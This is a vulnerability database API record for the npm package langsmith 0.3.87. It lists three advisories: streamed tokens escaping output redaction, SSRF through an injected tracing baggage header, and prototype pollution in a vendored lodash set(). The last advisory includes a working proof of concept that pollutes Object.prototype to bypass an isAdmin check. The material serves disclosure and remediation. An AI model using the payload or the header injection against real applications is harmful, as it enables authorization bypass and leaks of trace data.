Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/959695?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/959695?format=api", "purl": "pkg:npm/langsmith@0.3.87", "type": "npm", "namespace": "", "name": "langsmith", "version": "0.3.87", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "0.5.19", "latest_non_vulnerable_version": "0.6.0", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89508?format=api", "vulnerability_id": "VCID-52gv-vrq8-6fc5", "summary": "LangSmith SDK: Streaming token events bypass output redaction\n## Summary\n\nThe LangSmith SDK's output redaction controls (hideOutputs in JS, hide_outputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a new_token event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and _hide_run_outputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events.\n\n## Details\n\n**Both JS and Python SDKs are affected.** The same pattern exists in both:\n\n- **JS SDK**: `traceable.ts:997-1003` and `traceable.ts:1044-1050`\n- **Python SDK**: `run_helpers.py:1924` and `run_helpers.py:1996`\n\nIn both SDKs, `new_token` events with raw `kwargs.token` values are added during streaming, and the redaction pipeline (`hideOutputs` in JS, `hide_outputs` in Python) only processes `inputs`/`outputs` — never `events`.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41182", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.12065", "published_at": "2026-06-09T12:55:00Z" }, { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.12163", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.12161", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.12124", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.1205", "published_at": "2026-06-08T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41182" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/langchain-ai/langsmith-sdk" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-rr7j-v2q5-chgv", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-23T14:22:03Z/" } ], "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-rr7j-v2q5-chgv" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41182", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41182" }, { "reference_url": "https://github.com/advisories/GHSA-rr7j-v2q5-chgv", "reference_id": "GHSA-rr7j-v2q5-chgv", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-rr7j-v2q5-chgv" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110714?format=api", "purl": "pkg:npm/langsmith@0.5.19", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/langsmith@0.5.19" } ], "aliases": [ "CVE-2026-41182", "GHSA-rr7j-v2q5-chgv" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-52gv-vrq8-6fc5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50070?format=api", "vulnerability_id": "VCID-9hky-p3sa-2fhd", "summary": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection\nThe LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25528", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02513", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02457", "published_at": "2026-06-09T12:55:00Z" }, { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02498", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02569", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02567", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25528" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/langchain-ai/langsmith-sdk" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528", "reference_id": "CVE-2026-25528", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528" }, { "reference_url": "https://github.com/advisories/GHSA-v34v-rq6j-cj6p", "reference_id": "GHSA-v34v-rq6j-cj6p", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-v34v-rq6j-cj6p" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p", "reference_id": "GHSA-v34v-rq6j-cj6p", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-10T15:39:48Z/" } ], "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73957?format=api", "purl": "pkg:npm/langsmith@0.4.6", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-52gv-vrq8-6fc5" }, { "vulnerability": "VCID-aup6-vt8m-cuhn" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/langsmith@0.4.6" } ], "aliases": [ "CVE-2026-25528", "GHSA-v34v-rq6j-cj6p" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-9hky-p3sa-2fhd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89640?format=api", "vulnerability_id": "VCID-aup6-vt8m-cuhn", "summary": "LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`\n# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record<string, any>, key: string, value: any) {\n if (key === \"__proto__\") {\n Object.defineProperty(object, key, {\n configurable: true, enumerable: true, value: value, writable: true,\n });\n } else {\n object[key] = value; // ← No guard for \"constructor\" or \"prototype\" keys\n }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n wrapper: {\n \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin); // undefined\n\nconst maliciousInput = {\n wrapper: {\n \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin); // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin); // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n if (user.isAdmin) return \"ACCESS GRANTED\";\n return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" })); // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n Object.defineProperty(object, key, {\n configurable: true, enumerable: true, value, writable: true,\n });\n } else {\n object[key] = value;\n }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40190", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.0469", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.0465", "published_at": "2026-06-09T12:55:00Z" }, { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04627", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04665", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04678", "published_at": "2026-06-06T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40190" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/langchain-ai/langsmith-sdk" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk/pull/2690", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/langchain-ai/langsmith-sdk/pull/2690" }, { "reference_url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-13T16:13:33Z/" } ], "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40190", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40190" }, { "reference_url": "https://github.com/advisories/GHSA-fw9q-39r9-c252", "reference_id": "GHSA-fw9q-39r9-c252", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-fw9q-39r9-c252" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110861?format=api", "purl": "pkg:npm/langsmith@0.5.18", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-52gv-vrq8-6fc5" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/langsmith@0.5.18" } ], "aliases": [ "CVE-2026-40190", "GHSA-fw9q-39r9-c252" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-aup6-vt8m-cuhn" } ], "fixing_vulnerabilities": [], "risk_score": "3.1", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/langsmith@0.3.87" }